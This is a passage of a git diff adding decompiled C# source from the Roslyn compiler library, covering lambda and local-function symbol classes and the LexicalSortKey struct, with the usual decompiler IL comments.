Locations => ImmutableArray.Create(_syntax.Location); + + internal Location DiagnosticLocation + { + get + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = _syntax; + SyntaxToken val; + if (!(syntax is AnonymousMethodExpressionSyntax anonymousMethodExpressionSyntax)) + { + if (syntax is LambdaExpressionSyntax lambdaExpressionSyntax) + { + val = lambdaExpressionSyntax.ArrowToken; + return ((SyntaxToken)(ref val)).GetLocation(); + } + return GetFirstLocation(); + } + val = anonymousMethodExpressionSyntax.DelegateKeyword; + return ((SyntaxToken)(ref val)).GetLocation(); + } + } + + private bool HasExplicitReturnType + { + get + { + if (_syntax is ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax) + { + return parenthesizedLambdaExpressionSyntax.ReturnType != null; + } + return false; + } + } + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Create(syntaxReferenceOpt); + + public override Symbol ContainingSymbol => _containingSymbol; + + internal override CallingConvention CallingConvention => (CallingConvention)0; + + public override bool IsExtensionMethod => false; + + internal override Binder OuterBinder => _binder; + + internal override Binder WithTypeParametersBinder => _binder; + + public override bool IsImplicitlyDeclared => _isSynthesized; + + internal override bool GenerateDebugInfo => true; + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + public LambdaSymbol(Binder binder, CSharpCompilation compilation, Symbol containingSymbol, UnboundLambda unboundLambda, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, RefKind refKind, TypeWithAnnotations returnType) + : base(unboundLambda.Syntax.GetReference()) + { + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Expected O, but got Unknown + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + _binder = binder; + _containingSymbol = containingSymbol; + _messageID = unboundLambda.Data.MessageID; + _syntax = unboundLambda.Syntax; + if (!unboundLambda.HasExplicitReturnType(out _refKind, out _returnType)) + { + _refKind = refKind; + _returnType = ((!returnType.HasType) ? TypeWithAnnotations.Create(ReturnTypeIsBeingInferred) : returnType); + } + _isSynthesized = unboundLambda.WasCompilerGenerated; + _isAsync = unboundLambda.IsAsync; + _isStatic = unboundLambda.IsStatic; + _parameters = MakeParameters(compilation, unboundLambda, parameterTypes, parameterRefKinds); + _declarationDiagnostics = new DiagnosticBag(); + _declarationDependencies = new HashSet(); + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal void SetInferredReturnType(RefKind refKind, TypeWithAnnotations inferredReturnType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _refKind = refKind; + _returnType = inferredReturnType; + } + + internal override bool TryGetThisParameter(out ParameterSymbol? thisParameter) + { + thisParameter = null; + return true; + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (!(_syntax is LambdaExpressionSyntax lambdaExpressionSyntax)) + { + return default(OneOrMany>); + } + return OneOrMany.Create>(lambdaExpressionSyntax.AttributeLists); + } + + internal void GetDeclarationDiagnostics(BindingDiagnosticBag addTo) + { + ImmutableArray.Enumerator enumerator = _parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.ForceComplete(null, default(CancellationToken)); + } + GetAttributes(); + GetReturnTypeAttributes(); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + AsyncMethodChecks(HasExplicitReturnType, DiagnosticLocation, instance); + if (!HasExplicitReturnType && this.HasAsyncMethodBuilderAttribute(out object _)) + { + addTo.Add(ErrorCode.ERR_BuilderAttributeDisallowed, DiagnosticLocation); + } + _declarationDiagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ISetExtensions.AddAll((ISet)_declarationDependencies, (IEnumerable)((BindingDiagnosticBag)(object)instance).DependenciesBag); + ((BindingDiagnosticBag)(object)instance).Free(); + ((BindingDiagnosticBag)(object)addTo).AddRange(_declarationDiagnostics); + ((BindingDiagnosticBag)(object)addTo).AddDependencies((IReadOnlyCollection)_declarationDependencies); + } + + internal override void AddDeclarationDiagnostics(BindingDiagnosticBag diagnostics) + { + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + if (diagnosticBag != null) + { + _declarationDiagnostics.AddRange(diagnosticBag); + } + ICollection dependenciesBag = ((BindingDiagnosticBag)(object)diagnostics).DependenciesBag; + if (dependenciesBag != null) + { + ISetExtensions.AddAll((ISet)_declarationDependencies, (IEnumerable)dependenciesBag); + } + } + + private ImmutableArray MakeParameters(CSharpCompilation compilation, UnboundLambda unboundLambda, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds) + { + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0131: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + if (!unboundLambda.HasSignature || unboundLambda.ParameterCount == 0) + { + return ImmutableArrayExtensions.SelectAsArray), ParameterSymbol>(parameterTypes, (Func), ParameterSymbol>)((TypeWithAnnotations type, int ordinal, (LambdaSymbol owner, ImmutableArray refKinds) arg) => SynthesizedParameterSymbol.Create(arg.owner, type, ordinal, arg.refKinds[ordinal], GeneratedNames.LambdaCopyParameterName(ordinal), (ScopedKind)0)), (this, parameterRefKinds)); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(unboundLambda.ParameterCount); + bool hasExplicitlyTypedParameterList = unboundLambda.HasExplicitlyTypedParameterList; + int length = parameterTypes.Length; + for (int num = 0; num < unboundLambda.ParameterCount; num++) + { + ParameterSyntax parameterSyntax = null; + TypeWithAnnotations parameterType; + RefKind refKind; + ScopedKind scope; + if (hasExplicitlyTypedParameterList) + { + parameterType = unboundLambda.ParameterTypeWithAnnotations(num); + refKind = unboundLambda.RefKind(num); + scope = unboundLambda.DeclaredScope(num); + parameterSyntax = unboundLambda.ParameterSyntax(num); + } + else if (num < length) + { + parameterType = parameterTypes[num]; + refKind = (RefKind)0; + scope = (ScopedKind)0; + } + else + { + parameterType = TypeWithAnnotations.Create(new ExtendedErrorTypeSymbol(compilation, string.Empty, 0, null)); + refKind = (RefKind)0; + scope = (ScopedKind)0; + } + SyntaxList attributeLists = unboundLambda.ParameterAttributes(num); + string name = unboundLambda.ParameterName(num); + Location location = unboundLambda.ParameterLocation(num); + bool isParams = parameterSyntax != null && ((IEnumerable)(object)parameterSyntax.Modifiers).Any((SyntaxToken m) => m.IsKind(SyntaxKind.ParamsKeyword)); + LambdaParameterSymbol lambdaParameterSymbol = new LambdaParameterSymbol(this, parameterSyntax?.GetReference(), attributeLists, parameterType, num, refKind, scope, name, unboundLambda.ParameterIsDiscard(num), isParams, location); + instance.Add((ParameterSymbol)lambdaParameterSymbol); + } + return instance.ToImmutableAndFree(); + } + + public sealed override bool Equals(Symbol symbol, TypeCompareKind compareKind) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == symbol) + { + return true; + } + if (symbol is LambdaSymbol lambdaSymbol && lambdaSymbol._syntax == _syntax && lambdaSymbol._refKind == _refKind && TypeSymbol.Equals(lambdaSymbol.ReturnType, base.ReturnType, compareKind) && ImmutableArrayExtensions.SequenceEqual(base.ParameterTypesWithAnnotations, lambdaSymbol.ParameterTypesWithAnnotations, compareKind, (Func)((TypeWithAnnotations p1, TypeWithAnnotations p2, TypeCompareKind comparison) => p1.Equals(p2, comparison)))) + { + return lambdaSymbol.ContainingSymbol.Equals(ContainingSymbol, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return ((object)_syntax).GetHashCode(); + } + + public override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/LambdaSymbol.cs", 433); + } + + internal override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/LambdaSymbol.cs", 436); + } + + protected override void NoteAttributesComplete(bool forReturnType) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LexicalSortKey.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LexicalSortKey.cs new file mode 100644 index 0000000..2a1f421 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LexicalSortKey.cs @@ -0,0 +1,129 @@ +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal struct LexicalSortKey +{ + private int _treeOrdinal; + + private int _position; + + public static readonly LexicalSortKey NotInSource; + + public static readonly LexicalSortKey NotInitialized; + + public static readonly LexicalSortKey SynthesizedCtor; + + public static readonly LexicalSortKey SynthesizedCCtor; + + public int TreeOrdinal => _treeOrdinal; + + public int Position => _position; + + public bool IsInitialized => Volatile.Read(in _position) >= 0; + + public static LexicalSortKey GetSynthesizedMemberKey(int offset) + { + return new LexicalSortKey + { + _treeOrdinal = int.MaxValue, + _position = 2147483645 - offset + }; + } + + private LexicalSortKey(int treeOrdinal, int position) + { + _treeOrdinal = treeOrdinal; + _position = position; + } + + private LexicalSortKey(SyntaxTree tree, int position, CSharpCompilation compilation) + { + this = new LexicalSortKey((tree == null) ? (-1) : ((Compilation)compilation).GetSyntaxTreeOrdinal(tree), position); + } + + public LexicalSortKey(SyntaxReference syntaxRef, CSharpCompilation compilation) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + SyntaxTree syntaxTree = syntaxRef.SyntaxTree; + TextSpan span = syntaxRef.Span; + this = new LexicalSortKey(syntaxTree, ((TextSpan)(ref span)).Start, compilation); + } + + public LexicalSortKey(Location location, CSharpCompilation compilation) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + SyntaxTree sourceTree = location.SourceTree; + TextSpan sourceSpan = location.SourceSpan; + this = new LexicalSortKey(sourceTree, ((TextSpan)(ref sourceSpan)).Start, compilation); + } + + public LexicalSortKey(CSharpSyntaxNode node, CSharpCompilation compilation) + { + this = new LexicalSortKey(node.SyntaxTree, ((SyntaxNode)node).SpanStart, compilation); + } + + public LexicalSortKey(SyntaxToken token, CSharpCompilation compilation) + { + this = new LexicalSortKey(((SyntaxToken)(ref token)).SyntaxTree, ((SyntaxToken)(ref token)).SpanStart, compilation); + } + + public static int Compare(LexicalSortKey xSortKey, LexicalSortKey ySortKey) + { + if (xSortKey.TreeOrdinal != ySortKey.TreeOrdinal) + { + if (xSortKey.TreeOrdinal < 0) + { + return 1; + } + if (ySortKey.TreeOrdinal < 0) + { + return -1; + } + return xSortKey.TreeOrdinal - ySortKey.TreeOrdinal; + } + return xSortKey.Position - ySortKey.Position; + } + + public static LexicalSortKey First(LexicalSortKey xSortKey, LexicalSortKey ySortKey) + { + if (Compare(xSortKey, ySortKey) <= 0) + { + return xSortKey; + } + return ySortKey; + } + + public void SetFrom(LexicalSortKey other) + { + _treeOrdinal = other._treeOrdinal; + Volatile.Write(ref _position, other._position); + } + + static LexicalSortKey() + { + NotInSource = new LexicalSortKey + { + _treeOrdinal = -1, + _position = 0 + }; + NotInitialized = new LexicalSortKey + { + _treeOrdinal = -1, + _position = -1 + }; + SynthesizedCtor = new LexicalSortKey + { + _treeOrdinal = int.MaxValue, + _position = 2147483646 + }; + SynthesizedCCtor = new LexicalSortKey + { + _treeOrdinal = int.MaxValue, + _position = int.MaxValue + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalDeclarationKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalDeclarationKind.cs new file mode 100644 index 0000000..d22ce7d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalDeclarationKind.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal enum LocalDeclarationKind : byte +{ + None, + RegularVariable, + Constant, + FixedVariable, + UsingVariable, + CatchVariable, + ForEachIterationVariable, + PatternVariable, + DeconstructionVariable, + OutVariable, + DeclarationExpressionVariable +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalFunctionOrSourceMemberMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalFunctionOrSourceMemberMethodSymbol.cs new file mode 100644 index 0000000..c93d78a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalFunctionOrSourceMemberMethodSymbol.cs @@ -0,0 +1,37 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class LocalFunctionOrSourceMemberMethodSymbol : SourceMethodSymbolWithAttributes +{ + private TypeWithAnnotations.Boxed? _lazyIteratorElementType; + + internal sealed override TypeWithAnnotations IteratorElementTypeWithAnnotations + { + get + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (_lazyIteratorElementType == TypeWithAnnotations.Boxed.Sentinel) + { + TypeWithAnnotations value = InMethodBinder.GetIteratorElementTypeFromReturnType(DeclaringCompilation, RefKind, base.ReturnType, null, null); + if (value.IsDefault) + { + value = TypeWithAnnotations.Create(new ExtendedErrorTypeSymbol(DeclaringCompilation, "", 0, null)); + } + Interlocked.CompareExchange(ref _lazyIteratorElementType, new TypeWithAnnotations.Boxed(value), TypeWithAnnotations.Boxed.Sentinel); + } + return _lazyIteratorElementType?.Value ?? default(TypeWithAnnotations); + } + } + + internal sealed override bool IsIterator => _lazyIteratorElementType != null; + + protected LocalFunctionOrSourceMemberMethodSymbol(SyntaxReference? syntaxReferenceOpt, bool isIterator) + : base(syntaxReferenceOpt) + { + if (isIterator) + { + _lazyIteratorElementType = TypeWithAnnotations.Boxed.Sentinel; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalFunctionSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalFunctionSymbol.cs new file mode 100644 index 0000000..3ab1bd2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalFunctionSymbol.cs @@ -0,0 +1,518 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class LocalFunctionSymbol : LocalFunctionOrSourceMemberMethodSymbol +{ + private readonly Binder _binder; + + private readonly Symbol _containingSymbol; + + private readonly DeclarationModifiers _declarationModifiers; + + private readonly ImmutableArray _typeParameters; + + private readonly RefKind _refKind; + + private ImmutableArray _lazyParameters; + + private bool _lazyIsVarArg; + + private ImmutableArray> _lazyTypeParameterConstraintTypes; + + private ImmutableArray _lazyTypeParameterConstraintKinds; + + private TypeWithAnnotations.Boxed? _lazyReturnType; + + private readonly DiagnosticBag _declarationDiagnostics; + + private readonly HashSet _declarationDependencies; + + internal Binder ScopeBinder { get; } + + internal override Binder OuterBinder => _binder; + + internal override Binder WithTypeParametersBinder + { + get + { + if (!_typeParameters.IsEmpty) + { + return new WithMethodTypeParametersBinder(this, _binder); + } + return _binder; + } + } + + internal LocalFunctionStatementSyntax Syntax => (LocalFunctionStatementSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + + public override bool RequiresInstanceReceiver => false; + + public override bool IsVararg + { + get + { + ComputeParameters(); + return _lazyIsVarArg; + } + } + + public override ImmutableArray Parameters + { + get + { + ComputeParameters(); + return _lazyParameters; + } + } + + public override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + ComputeReturnType(); + return _lazyReturnType.Value; + } + } + + public override RefKind RefKind => _refKind; + + public override bool ReturnsVoid => base.ReturnType.IsVoidType(); + + public override int Arity => TypeParameters.Length; + + public override ImmutableArray TypeArgumentsWithAnnotations => GetTypeParametersAsTypeArguments(); + + public override ImmutableArray TypeParameters => ImmutableArrayExtensions.Cast(_typeParameters); + + public override bool IsExtensionMethod + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + ParameterSyntax parameterSyntax = Syntax.ParameterList.Parameters.FirstOrDefault(); + if (parameterSyntax != null && !parameterSyntax.IsArgList) + { + return parameterSyntax.Modifiers.Any(SyntaxKind.ThisKeyword); + } + return false; + } + } + + public override MethodKind MethodKind => (MethodKind)17; + + public sealed override Symbol ContainingSymbol => _containingSymbol; + + public override string Name + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = Syntax.Identifier; + return ((SyntaxToken)(ref identifier)).ValueText ?? ""; + } + } + + public SyntaxToken NameToken => Syntax.Identifier; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override ImmutableArray Locations + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = Syntax.Identifier; + return ImmutableArray.Create(((SyntaxToken)(ref identifier)).GetLocation()); + } + } + + internal override bool GenerateDebugInfo => true; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override CallingConvention CallingConvention => (CallingConvention)0; + + public override Symbol? AssociatedSymbol => null; + + public override Accessibility DeclaredAccessibility => ModifierUtils.EffectiveAccessibility(_declarationModifiers); + + public override bool IsAsync => (_declarationModifiers & DeclarationModifiers.Async) != 0; + + public override bool IsStatic => (_declarationModifiers & DeclarationModifiers.Static) != 0; + + public override bool IsVirtual => (_declarationModifiers & DeclarationModifiers.Virtual) != 0; + + public override bool IsOverride => (_declarationModifiers & DeclarationModifiers.Override) != 0; + + public override bool IsAbstract => (_declarationModifiers & DeclarationModifiers.Abstract) != 0; + + public override bool IsSealed => (_declarationModifiers & DeclarationModifiers.Sealed) != 0; + + public override bool IsExtern => (_declarationModifiers & DeclarationModifiers.Extern) != 0; + + public bool IsUnsafe => (_declarationModifiers & DeclarationModifiers.Unsafe) != 0; + + internal bool IsExpressionBodied + { + get + { + LocalFunctionStatementSyntax syntax = Syntax; + if (syntax != null && syntax.Body == null) + { + return syntax.ExpressionBody != null; + } + return false; + } + } + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + public LocalFunctionSymbol(Binder binder, Symbol containingSymbol, LocalFunctionStatementSyntax syntax) + : base(syntax.GetReference(), SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax.Body)) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Expected O, but got Unknown + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + _containingSymbol = containingSymbol; + _declarationDiagnostics = new DiagnosticBag(); + _declarationDependencies = new HashSet(); + _declarationModifiers = DeclarationModifiers.Private | syntax.Modifiers.ToDeclarationModifiers(isForTypeDeclaration: false, _declarationDiagnostics); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + this.CheckUnsafeModifier(_declarationModifiers, instance); + ScopeBinder = binder; + binder = binder.WithUnsafeRegionIfNecessary(syntax.Modifiers); + if (syntax.TypeParameterList != null) + { + _typeParameters = MakeTypeParameters(instance); + } + else + { + _typeParameters = ImmutableArray.Empty; + Symbol.ReportErrorIfHasConstraints(syntax.ConstraintClauses, _declarationDiagnostics); + } + if (IsExtensionMethod) + { + _declarationDiagnostics.Add(ErrorCode.ERR_BadExtensionAgg, GetFirstLocation()); + } + Enumerator enumerator = syntax.ParameterList.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSyntax current = enumerator.Current; + ReportAttributesDisallowed(current.AttributeLists, instance); + } + syntax.ReturnType.SkipRefInLocalOrReturn(instance, out _refKind); + _declarationDiagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ISetExtensions.AddAll((ISet)_declarationDependencies, (IEnumerable)((BindingDiagnosticBag)(object)instance).DependenciesBag); + ((BindingDiagnosticBag)(object)instance).Free(); + _binder = binder; + } + + internal void GetDeclarationDiagnostics(BindingDiagnosticBag addTo) + { + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = _typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.ForceComplete(null, default(CancellationToken)); + } + ComputeParameters(); + ImmutableArray.Enumerator enumerator2 = _lazyParameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + enumerator2.Current.ForceComplete(null, default(CancellationToken)); + } + ComputeReturnType(); + GetAttributes(); + GetReturnTypeAttributes(); + CSharpCompilation declaringCompilation = DeclaringCompilation; + ParameterHelpers.EnsureRefKindAttributesExist(declaringCompilation, Parameters, addTo, modifyCompilation: false); + ParameterHelpers.EnsureNativeIntegerAttributeExists(declaringCompilation, Parameters, addTo, modifyCompilation: false); + ParameterHelpers.EnsureScopedRefAttributeExists(declaringCompilation, Parameters, addTo, modifyCompilation: false); + ParameterHelpers.EnsureNullableAttributeExists(declaringCompilation, this, Parameters, addTo, modifyCompilation: false); + ((BindingDiagnosticBag)(object)addTo).AddRange(_declarationDiagnostics); + ((BindingDiagnosticBag)(object)addTo).AddDependencies((IReadOnlyCollection)_declarationDependencies); + AsyncMethodChecks(addTo); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: false, ((BindingDiagnosticBag)(object)addTo).AccumulatesDependencies); + if (base.IsEntryPointCandidate && !IsGenericMethod && ContainingSymbol is SynthesizedSimpleProgramEntryPointSymbol && declaringCompilation.HasEntryPointSignature(this, instance).IsCandidate) + { + SyntaxToken identifier = Syntax.Identifier; + addTo.Add(ErrorCode.WRN_MainIgnored, ((SyntaxToken)(ref identifier)).GetLocation(), this); + } + ((BindingDiagnosticBag)(object)addTo).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + } + + internal override void AddDeclarationDiagnostics(BindingDiagnosticBag diagnostics) + { + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + if (diagnosticBag != null) + { + _declarationDiagnostics.AddRange(diagnosticBag); + } + ICollection dependenciesBag = ((BindingDiagnosticBag)(object)diagnostics).DependenciesBag; + if (dependenciesBag != null) + { + ISetExtensions.AddAll((ISet)_declarationDependencies, (IEnumerable)dependenciesBag); + } + } + + private void ComputeParameters() + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + if (_lazyParameters != null) + { + return; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + SyntaxToken arglistToken; + ImmutableArray lazyParameters = ImmutableArrayExtensions.Cast(ParameterHelpers.MakeParameters(WithTypeParametersBinder, this, Syntax.ParameterList, out arglistToken, instance, allowRefOrOut: true, allowThis: true, addRefReadOnlyModifier: false)); + bool flag = arglistToken.Kind() == SyntaxKind.ArgListKeyword; + if (flag) + { + instance.Add(ErrorCode.ERR_IllegalVarArgs, ((SyntaxToken)(ref arglistToken)).GetLocation()); + } + lock (_declarationDiagnostics) + { + if (_lazyParameters != null) + { + ((BindingDiagnosticBag)(object)instance).Free(); + return; + } + _declarationDiagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ISetExtensions.AddAll((ISet)_declarationDependencies, (IEnumerable)((BindingDiagnosticBag)(object)instance).DependenciesBag); + ((BindingDiagnosticBag)(object)instance).Free(); + _lazyIsVarArg = flag; + _lazyParameters = lazyParameters; + } + } + + internal void ComputeReturnType() + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Invalid comparison between Unknown and I4 + if (_lazyReturnType != null) + { + return; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + TypeSyntax returnType = Syntax.ReturnType; + bool isScoped; + TypeWithAnnotations value = WithTypeParametersBinder.BindType(returnType.SkipScoped(out isScoped).SkipRef(), instance); + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (declaringCompilation != null) + { + Location val = null; + if ((int)_refKind == 3) + { + declaringCompilation.EnsureIsReadOnlyAttributeExists(instance, val ?? (val = ((SyntaxNode)returnType).Location), modifyCompilation: false); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(value.Type)) + { + declaringCompilation.EnsureNativeIntegerAttributeExists(instance, val ?? (val = ((SyntaxNode)returnType).Location), modifyCompilation: false); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this) && value.NeedsNullableAttribute()) + { + declaringCompilation.EnsureNullableAttributeExists(instance, val ?? (val = ((SyntaxNode)returnType).Location), modifyCompilation: false); + } + } + if (value.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + instance.Add(ErrorCode.ERR_MethodReturnCantBeRefAny, ((SyntaxNode)returnType).Location, value.Type); + } + lock (_declarationDiagnostics) + { + if (_lazyReturnType != null) + { + ((BindingDiagnosticBag)(object)instance).Free(); + return; + } + _declarationDiagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ISetExtensions.AddAll((ISet)_declarationDependencies, (IEnumerable)((BindingDiagnosticBag)(object)instance).DependenciesBag); + ((BindingDiagnosticBag)(object)instance).Free(); + Interlocked.CompareExchange(ref _lazyReturnType, new TypeWithAnnotations.Boxed(value), null); + } + } + + public override Location TryGetFirstLocation() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = Syntax.Identifier; + return ((SyntaxToken)(ref identifier)).GetLocation(); + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(Syntax.AttributeLists); + } + + protected override void NoteAttributesComplete(bool forReturnType) + { + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/LocalFunctionSymbol.cs", 385); + } + + internal override bool TryGetThisParameter(out ParameterSymbol? thisParameter) + { + thisParameter = null; + return true; + } + + private void ReportAttributesDisallowed(SyntaxList attributes, BindingDiagnosticBag diagnostics) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = MessageID.IDS_FeatureLocalFunctionAttributes.GetFeatureAvailabilityDiagnosticInfo((CSharpParseOptions)(object)syntaxReferenceOpt.SyntaxTree.Options); + if (featureAvailabilityDiagnosticInfo != null) + { + Enumerator enumerator = attributes.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeListSyntax current = enumerator.Current; + diagnostics.Add((DiagnosticInfo?)(object)featureAvailabilityDiagnosticInfo, ((SyntaxNode)current).Location); + } + } + } + + private ImmutableArray MakeTypeParameters(BindingDiagnosticBag diagnostics) + { + 